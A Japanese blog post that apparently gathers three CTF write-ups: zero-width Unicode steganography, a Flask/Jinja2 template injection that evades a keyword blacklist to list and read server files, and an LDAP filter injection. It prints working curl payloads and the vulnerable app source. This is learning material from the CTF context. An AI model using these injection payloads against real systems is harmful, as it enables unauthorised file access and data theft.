こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

HackIT CTF 2018 - Get Going

問題文

Welcome

f:id:graneed:20180910192201p:plain

writeup

画面の表示上は普通の文字列だが、WelcomeのWとelcomeの間に、複数種類の空白文字が含まれている。

root@kali:~# curl https://ctf.hackit.ua/w31c0m3 -o welcome.txt -s
root@kali:~# od -Ax -tx1z welcome.txt 
000000 57 e2 80 8b e2 80 8b e2 80 8b e2 80 8b e2 80 8f  >W...............<
000010 e2 80 8b e2 80 8d e2 80 8b e2 80 8b e2 80 8b e2  >................<
000020 80 8b e2 80 8f e2 80 8c e2 80 8e e2 80 8b e2 80  >................<
000030 8b e2 80 8b e2 80 8b e2 80 8e e2 80 8f e2 80 8d  >................<
000040 e2 80 8b e2 80 8b e2 80 8b e2 80 8b e2 80 8f e2  >................<
000050 80 8b e2 80 8e e2 80 8b e2 80 8b e2 80 8b e2 80  >................<
000060 8b e2 80 8f e2 80 8f e2 80 8e e2 80 8b e2 80 8b  >................<
000070 e2 80 8b e2 80 8b e2 80 8f e2 80 8e e2 80 8f e2  >................<
000080 80 8b e2 80 8b e2 80 8b e2 80 8b e2 80 8d e2 80  >................<
000090 8b e2 80 8c e2 80 8b e2 80 8b e2 80 8b e2 80 8b  >................<
0000a0 e2 80 8e e2 80 8f e2 80 8b e2 80 8b e2 80 8b e2  >................<
0000b0 80 8b e2 80 8b e2 80 8f e2 80 8b e2 80 8e e2 80  >................<
0000c0 8b e2 80 8b e2 80 8b e2 80 8b e2 80 8f e2 80 8d  >................<
0000d0 e2 80 8f e2 80 8b e2 80 8b e2 80 8b e2 80 8b e2  >................<
0000e0 80 8d e2 80 8b e2 80 8c e2 80 8b e2 80 8b e2 80  >................<
0000f0 8b e2 80 8b e2 80 8d e2 80 8b e2 80 8c e2 80 8b  >................<
000100 e2 80 8b e2 80 8b e2 80 8b e2 80 8d e2 80 8c e2  >................<
000110 80 8b e2 80 8b e2 80 8b e2 80 8b e2 80 8b e2 80  >................<
000120 8e e2 80 8f e2 80 8b e2 80 8b e2 80 8b e2 80 8b  >................<
000130 e2 80 8b e2 80 8f e2 80 8b e2 80 8f e2 80 8b e2  >................<
000140 80 8b e2 80 8b e2 80 8b e2 80 8d e2 80 8b e2 80  >................<
000150 8d e2 80 8b e2 80 8b e2 80 8b e2 80 8b e2 80 8e  >................<
000160 e2 80 8f e2 80 8f e2 80 8b e2 80 8b e2 80 8b e2  >................<
000170 80 8b e2 80 8f e2 80 8c e2 80 8d e2 80 8b e2 80  >................<
000180 8b e2 80 8b e2 80 8b e2 80 8d e2 80 8b e2 80 8c  >................<
000190 e2 80 8b e2 80 8b e2 80 8b e2 80 8b e2 80 8f e2  >................<
0001a0 80 8d e2 80 8f e2 80 8b e2 80 8b e2 80 8b e2 80  >................<
0001b0 8b e2 80 8f e2 80 8f e2 80 8d e2 80 8b e2 80 8b  >................<
0001c0 e2 80 8b e2 80 8b e2 80 8e e2 80 8f e2 80 8b e2  >................<
0001d0 80 8b e2 80 8b e2 80 8b e2 80 8b e2 80 8f e2 80  >................<
0001e0 8e e2 80 8f e2 80 8b e2 80 8b e2 80 8b e2 80 8b  >................<
0001f0 e2 80 8c e2 80 8f e2 80 8f e2 80 8b e2 80 8b e2  >................<
000200 80 8b e2 80 8b e2 80 8f e2 80 8e e2 80 8c e2 80  >................<
000210 8b e2 80 8b e2 80 8b e2 80 8b e2 80 8f e2 80 8b  >................<
000220 e2 80 8f e2 80 8b e2 80 8b e2 80 8b e2 80 8b e2  >................<
000230 80 8e e2 80 8f e2 80 8b e2 80 8b e2 80 8b e2 80  >................<
000240 8b e2 80 8b e2 80 8f e2 80 8e e2 80 8d e2 80 8b  >................<
000250 e2 80 8b e2 80 8b e2 80 8b e2 80 8f e2 80 8d e2  >................<
000260 80 8b e2 80 8b e2 80 8b e2 80 8b e2 80 8b e2 80  >................<
000270 8c e2 80 8f e2 80 8f e2 80 8b e2 80 8b e2 80 8b  >................<
000280 e2 80 8b e2 80 8e e2 80 8f e2 80 8f e2 80 8b e2  >................<
000290 80 8b e2 80 8b e2 80 8b e2 80 8c e2 80 8f e2 80  >................<
0002a0 8e e2 80 8b e2 80 8b e2 80 8b e2 80 8b e2 80 8f  >................<
0002b0 e2 80 8b e2 80 8b e2 80 8b e2 80 8b e2 80 8b e2  >................<
0002c0 80 8b e2 80 8d e2 80 8b e2 80 8c e2 80 8b e2 80  >................<
0002d0 8b e2 80 8b e2 80 8c e2 80 8b e2 80 8b e2 80 8b  >................<
0002e0 65 6c 63 6f 6d 65 20 74 6f 20 74 68 65 20 48 61  >elcome to the Ha<
0002f0 63 6b 49 54 20 32 30 31 38 20 43 54 46 2c 20 66  >ckIT 2018 CTF, f<
000300 6c 61 67 20 69 73 20 73 6f 6d 65 77 68 65 72 65  >lag is somewhere<
000310 20 68 65 72 65 2e 20 c2 af 5f 28 e3 83 84 29 5f  > here. .._(...)_<
000320 2f c2 af 0a                                      >/...<
000324

Wとelcomeの間に含まれている空白文字は以下の5種類。

  • e2808b=U+200B
  • e2808c=U+200C
  • e2808d=U+200D
  • e2808e=U+200E
  • e2808f=U+200F

以下のヒントが出ていた。

Get Going hint2: Zero Width Concept.

Zero Width Steganoのキーワードでgoogle検索すると以下がHIT。

Unicode Steganography with Zero-Width Characters

上記5つの空白文字が網羅されていないが、ライブラリの仕様を見ると、取り扱い対象とする空白文字を任意に設定可能なようだ。

http://330k.github.io/misc_tools/unicode_steganography.js

まず、こちらを全コピーして、Chromeの開発者ツールのコンソールに貼り付ける。その後、コンソールで以下のコマンドを実行し、U+200B~U+200Fをsteganoの対象文字とする。

>unicodeSteganographer.setUseChars('\u200b\u200c\u200d\u200e\u200f');
<null

デコードを実行する。

>unicodeSteganographer.decodeText("​​​​‏​‍​​​​‏‌​​​​‏‍​​​​‏​​​​​‏‏​​​​‏‏​​​​‍​‌​​​​‏​​​​​‏​​​​​‏‍‏​​​​‍​‌​​​​‍​‌​​​​‍‌​​​​​‏​​​​​‏​‏​​​​‍​‍​​​​‏‏​​​​‏‌‍​​​​‍​‌​​​​‏‍‏​​​​‏‏‍​​​​‏​​​​​‏‏​​​​‌‏‏​​​​‏‌​​​​‏​‏​​​​‏​​​​​‏‍​​​​‏‍​​​​​‌‏‏​​​​‏‏​​​​‌‏​​​​‏​​​​​​‍​‌​​​‌​​​") ←見えないが、ここに空白文字列をセットしている。
<{originalText: "", hiddenText: "flag{w3_gr337_h4ck3rz_w1th_un1c0d3}"}

フラグゲット。
flag{w3_gr337_h4ck3rz_w1th_un1c0d3}

この問題、1ポイントだけど、1ポイントのレベルではないような・・・。

HackIT CTF 2018 - Believer Case

問題文

We managed to hack one of the systems, and its owner contacted us back. He asked us to check his fix. We did not find anything. Can you? http://185.168.131.123

f:id:graneed:20180909200908p:plain

writeup

トップのHTMLソースは以下の通り。

root@kali:~# curl http://185.168.131.123
Hello! I have been contacted by those who try to save the network. I tried to protect myself. Can you test out if I am secure now? <a href='/test'>See this</a>

/testにアクセスすると、testという文字列が返ってきた。

root@kali:~# curl http://185.168.131.123/test
test

/testhogeにアクセスすると、testhogeという文字列が返ってきた。

root@kali:~# curl http://185.168.131.123/testhoge
testhoge

入力した文字列がレスポンスにそのまま反映されるようだ。

Template Engineを使用している可能性があるため、Template Injectionを試す。

root@kali:~# curl "http://185.168.131.123/\{\{7+7\}\}"
77

root@kali:~# curl "http://185.168.131.123/\{\{7*7\}\}"
49

ビンゴ。いけそうだ。

flask+jinja2と仮定し、グローバル変数を表示させてみる。 以下のflaskのコードのrv.globals.updateに格納されている変数が、テンプレート内で使用できるグローバル変数

github.com

request変数を確認するとエラー。

root@kali:~# curl "http://185.168.131.123/\{\{request\}\}"
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request.  Either the server is overloaded or there is an error in the application.</p>

g変数を確認すると成功。そしてflaskを使用している確証を得る。

root@kali:~# curl "http://185.168.131.123/\{\{g\}\}"
&lt;flask.g of &#39;app&#39;&gt;

何かフィルターされているのかもしれない。試してみる。

root@kali:~# curl "http://185.168.131.123/\{%25print(request)%25\}"
()

root@kali:~# curl "http://185.168.131.123/\{%25print('aaa' + request + 'zzz')%25\}"
aaazzz

どうやら"request"という文字列が除去されているようだ。

他、いくつか試すと、少なくとも以下の文字列が除去の対象となっている。 ブラケットは痛い。

  • [
  • ]
  • open
  • config
  • request
  • attr
  • class

ここで、先週開催のTokyoWesternsCTFのflask+Jinja2の問題の解法tweetを思い出した。

試してみる。

root@kali:~# curl "http://185.168.131.123/\{\{url_for\}\}"
&lt;function url_for at 0x7fde0c3b7a28&gt;r

ビンゴ!
イムリーすぎて、
「あっ、これ進●ゼミでやったところだ!」という気持ちになる。

url_forから辿って__globals__にアクセスできたため、そこからosモジュールおよびビルトインモジュールにアクセスする。[]が使用できないため、__getitem__で代替する。

カレントディレクトリ内にフラグファイルを発見する。

root@kali:~# curl "http://185.168.131.123/\{\{url_for.__globals__.__getitem__('os').listdir('./')\}\}"
['app.py', 'flag_secret_file_910230912900891283']r

フラグファイルを表示する。

root@kali:~# curl "http://185.168.131.123/\{\{url_for.__globals__.__getitem__('__builtins__').__getitem__('open')('flag_secret_file_910230912900891283').read()\}\}"
flag{blacklists_are_insecure_even_if_you_do_not_know_the_bypass_friend_1023092813}

フラグゲット。
flag{blacklists_are_insecure_even_if_you_do_not_know_the_bypass_friend_1023092813}

補足

何のワードが除去されていたか確認するため、app.pyも見てみた。

from flask import Flask, render_template, render_template_string

app = Flask(__name__)

def blacklist_replace(template):
    blacklist = ["[","]","config","self","from_pyfile","|","join","mro","class","request","pop","attr","args","+"]

    for b in blacklist:
        if b in template:
           template=template.replace(b,"")

    return template

@app.route("/")
def index_template():
    return "Hello! I have been contacted by those who try to save the network. I tried to protect myself. Can you test out if I am secure now? <a href='/test'>See this</a>"

@app.route("/<path:template>")
def blacklist_template(template):
    if len(template) > 10000:
        return "This is too long"

    while blacklist_replace(template) != template:
        template = blacklist_replace(template)

    return render_template_string(template)

if __name__ == '__main__':
    app.run(debug=False)

noxCTF 2018 - Dictionary of obscure sorrows

問題文

There are a lot of obscure sorrows in our world. Your job is not to find those that are plain in sight; You need to seek further, look deeper. Find the word that can not be written. The most obscure sorrow of them all. http://54.152.220.222/

f:id:graneed:20180909000027p:plain

writeup

HTMLソースを確認すると、/word.php?page=<文字列>のリンクが多数ある。 word.phpの挙動を確認する。

root@kali:~# curl http://54.152.220.222/word.php
Missing RDN inside ObjectClass(document)

root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page="
Query returned empty

root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=Sonder" | grep h2
                            <h2>Sonder</h2>
                            <h2>Even more obsure sorrows</h2>

pageパラメータを指定しなかった場合に返却されたMissing RDN inside ObjectClass(document)のメッセージより、LDAP検索をしていると推測される。

LDAP Injectionを試す。

http://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf

まずは*を入れてみる。

root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=*" -s | grep h2
                            <h2>Sonder</h2>
                            <h2>Even more obsure sorrows</h2>

root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=A*" -s | grep h2
                            <h2>Anemoia</h2>
                            <h2>Even more obsure sorrows</h2>

検索に成功した。この攻撃方針で合っていそうだ。

pageパラメータにad*をセットするとメッセージが変わる。

root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=ad*" -s
This is going to be a little bit harder than that

adminのレコードを取得するものと想定し、後方一致を試すがNG。

root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=*min" -s
Query returned empty

部分一致もNG。

root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=*mi*" -s
Query returned empty

ここからしばらく試行錯誤が続くが、description属性を発見する。

root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=*)(|(description=*)" -s | grep h2
                            <h2>Sonder</h2>
                            <h2>Even more obsure sorrows</h2>

description属性にCTFが含まれるレコードを検索するとHITした。

root@kali:~# curl http://54.152.220.222/word.php -s -G --data-urlencode "page=*)(|(description=*CTF*)" -s | grep CTF
                                noxCTF{K1NG_0F_LD4P}                            </p>

フラグゲット。
noxCTF{K1NG_0F_LD4P}